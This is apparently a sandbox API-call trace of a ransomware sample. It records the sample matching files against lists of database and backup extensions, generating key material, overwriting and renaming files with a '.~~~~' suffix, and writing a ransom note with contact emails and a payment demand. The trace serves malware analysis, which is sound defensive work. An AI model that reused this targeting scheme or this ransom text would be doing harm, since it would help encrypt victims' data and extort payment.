	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".edb") returned 0x0
	[0086.722] lstrlenW (lpString=".PST") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".PST") returned 0x0
	[0086.722] lstrlenW (lpString=".dbf") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dbf") returned 0x0
	[0086.723] lstrlenW (lpString=".SQL") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".SQL") returned 0x0
	[0086.723] lstrlenW (lpString=".pst") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".pst") returned 0x0
	[0086.723] lstrlenW (lpString=".dbv") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dbv") returned 0x0
	[0086.723] lstrlenW (lpString=".SDF") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".SDF") returned 0x0
	[0086.723] lstrlenW (lpString=".dtxs") returned 5
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dtxs") returned 0x0
	[0086.723] lstrlenW (lpString=".db3") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".db3") returned 0x0
	[0086.723] lstrlenW (lpString=".OST") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".OST") returned 0x0
	[0086.723] lstrlenW (lpString=".dbx") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dbx") returned 0x0
	[0086.723] lstrlenW (lpString=".DB3") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DB3") returned 0x0
	[0086.723] lstrlenW (lpString=".DAT") returned 4
	[0086.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DAT") returned 0x0
	[0086.723] lstrlenW (lpString=".VHDX") returned 5
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".VHDX") returned 0x0
	[0086.724] lstrlenW (lpString=".ndf") returned 4
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".ndf") returned 0x0
	[0086.724] lstrlenW (lpString=".DB") returned 3
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DB") returned 0x0
	[0086.724] lstrlenW (lpString=".sql") returned 4
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".sql") returned 0x0
	[0086.724] lstrlenW (lpString=".MYD") returned 4
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".MYD") returned 0x0
	[0086.724] lstrlenW (lpString=".DBT") returned 4
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DBT") returned 0x0
	[0086.724] lstrlenW (lpString=".ACCDB") returned 6
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.724] lstrlenW (lpString=".fdb") returned 4
	[0086.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".fdb") returned 0x0
	[0086.725] lstrlenW (lpString=".bak") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".bak") returned 0x0
	[0086.725] lstrlenW (lpString=".myd") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".myd") returned 0x0
	[0086.725] lstrlenW (lpString=".DTXS") returned 5
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DTXS") returned 0x0
	[0086.725] lstrlenW (lpString=".ckp") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".ckp") returned 0x0
	[0086.725] lstrlenW (lpString=".dbt") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dbt") returned 0x0
	[0086.725] lstrlenW (lpString=".db") returned 3
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".db") returned 0x0
	[0086.725] lstrlenW (lpString=".TXT") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".TXT") returned 0x0
	[0086.725] lstrlenW (lpString=".MDF") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".MDF") returned 0x0
	[0086.725] lstrlenW (lpString=".bdb") returned 4
	[0086.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".bdb") returned 0x0
	[0086.725] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.726] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.727] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.727] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0086.727] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20671730921) returned 1
	[0086.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d7eb1b0, dwHighDateTime=0x1d60e1e)) 
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b368
	[0086.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b368 | out: hHeap=0x300000) returned 1
	[0086.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b68b0
	[0086.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0086.728] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.728] GetLastError () returned 0x0
	[0086.728] GetLastError () returned 0x0
	[0086.728] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.728] GetLastError () returned 0x0
	[0086.729] GetLastError () returned 0x0
	[0086.732] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.732] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.734] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.734] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.737] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.737] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.737] CloseHandle (hObject=0x128) returned 1
	[0086.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.~~~~")) returned 1
	[0086.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.738] GetLastError () returned 0x0
	[0086.738] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.738] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.740] CloseHandle (hObject=0x128) returned 1
	[0086.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0086.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0086.740] RtlWakeConditionVariable () returned 0x365f70
	[0086.740] GetCurrentThreadId () returned 0xaf0
	[0086.740] GetCurrentThreadId () returned 0xaf0
	[0086.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0086.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0086.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2f8 | out: hHeap=0x300000) returned 1
	[0086.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b66b8
	[0086.740] lstrlenW (lpString=".scr") returned 4
	[0086.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".scr") returned 0x0
	[0086.740] lstrlenW (lpString=".cmd") returned 4
	[0086.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".cmd") returned 0x0
	[0086.740] lstrlenW (lpString=".dll") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dll") returned 0x0
	[0086.741] lstrlenW (lpString=".bat") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".bat") returned 0x0
	[0086.741] lstrlenW (lpString=".cpl") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".cpl") returned 0x0
	[0086.741] lstrlenW (lpString=".sys") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".sys") returned 0x0
	[0086.741] lstrlenW (lpString=".msc") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".msc") returned 0x0
	[0086.741] lstrlenW (lpString=".com") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".com") returned 0x0
	[0086.741] lstrlenW (lpString=".lnk") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".lnk") returned 0x0
	[0086.741] lstrlenW (lpString=".msp") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".msp") returned 0x0
	[0086.741] lstrlenW (lpString=".pif") returned 4
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".pif") returned 0x0
	[0086.741] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0086.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.742] lstrlenW (lpString=".sqb") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".sqb") returned 0x0
	[0086.742] lstrlenW (lpString=".ost") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".ost") returned 0x0
	[0086.742] lstrlenW (lpString=".txt") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".txt") returned 0x0
	[0086.742] lstrlenW (lpString=".mdt") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".mdt") returned 0x0
	[0086.742] lstrlenW (lpString=".BDB") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".BDB") returned 0x0
	[0086.742] lstrlenW (lpString=".eql") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".eql") returned 0x0
	[0086.742] lstrlenW (lpString=".DBF") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DBF") returned 0x0
	[0086.742] lstrlenW (lpString=".EQL") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".EQL") returned 0x0
	[0086.742] lstrlenW (lpString=".FDB") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".FDB") returned 0x0
	[0086.742] lstrlenW (lpString=".EDB") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".EDB") returned 0x0
	[0086.742] lstrlenW (lpString=".DACPAC") returned 7
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DACPAC") returned 0x0
	[0086.742] lstrlenW (lpString=".VHD") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".VHD") returned 0x0
	[0086.742] lstrlenW (lpString=".DBV") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DBV") returned 0x0
	[0086.742] lstrlenW (lpString=".dacpac") returned 7
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dacpac") returned 0x0
	[0086.742] lstrlenW (lpString=".sdf") returned 4
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".sdf") returned 0x0
	[0086.742] lstrlenW (lpString=".accdb") returned 6
	[0086.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".accdb") returned 0x0
	[0086.743] lstrlenW (lpString=".DBX") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DBX") returned 0x0
	[0086.743] lstrlenW (lpString=".MDT") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".MDT") returned 0x0
	[0086.743] lstrlenW (lpString=".SQB") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".SQB") returned 0x0
	[0086.743] lstrlenW (lpString=".vhd") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".vhd") returned 0x0
	[0086.743] lstrlenW (lpString=".bac") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".bac") returned 0x0
	[0086.743] lstrlenW (lpString=".mdf") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".mdf") returned 0x0
	[0086.743] lstrlenW (lpString=".BAK") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".BAK") returned 0x0
	[0086.743] lstrlenW (lpString=".BAC") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".BAC") returned 0x0
	[0086.743] lstrlenW (lpString=".dbs") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dbs") returned 0x0
	[0086.743] lstrlenW (lpString=".vhdx") returned 5
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".vhdx") returned 0x0
	[0086.743] lstrlenW (lpString=".NDF") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".NDF") returned 0x0
	[0086.743] lstrlenW (lpString=".dat") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dat") returned 0x0
	[0086.743] lstrlenW (lpString=".DBS") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".DBS") returned 0x0
	[0086.743] lstrlenW (lpString=".CKP") returned 4
	[0086.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".CKP") returned 0x0
	[0086.744] lstrlenW (lpString=".edb") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".edb") returned 0x0
	[0086.744] lstrlenW (lpString=".PST") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".PST") returned 0x0
	[0086.744] lstrlenW (lpString=".dbf") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dbf") returned 0x0
	[0086.744] lstrlenW (lpString=".SQL") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".SQL") returned 0x0
	[0086.744] lstrlenW (lpString=".pst") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".pst") returned 0x0
	[0086.744] lstrlenW (lpString=".dbv") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dbv") returned 0x0
	[0086.744] lstrlenW (lpString=".SDF") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".SDF") returned 0x0
	[0086.744] lstrlenW (lpString=".dtxs") returned 5
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dtxs") returned 0x0
	[0086.744] lstrlenW (lpString=".db3") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".db3") returned 0x0
	[0086.744] lstrlenW (lpString=".OST") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".OST") returned 0x0
	[0086.744] lstrlenW (lpString=".dbx") returned 4
	[0086.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", lpSrch=".dbx") returned 0x0
	[0086.744] lstrlenW (lpString=".DB3") returned 4
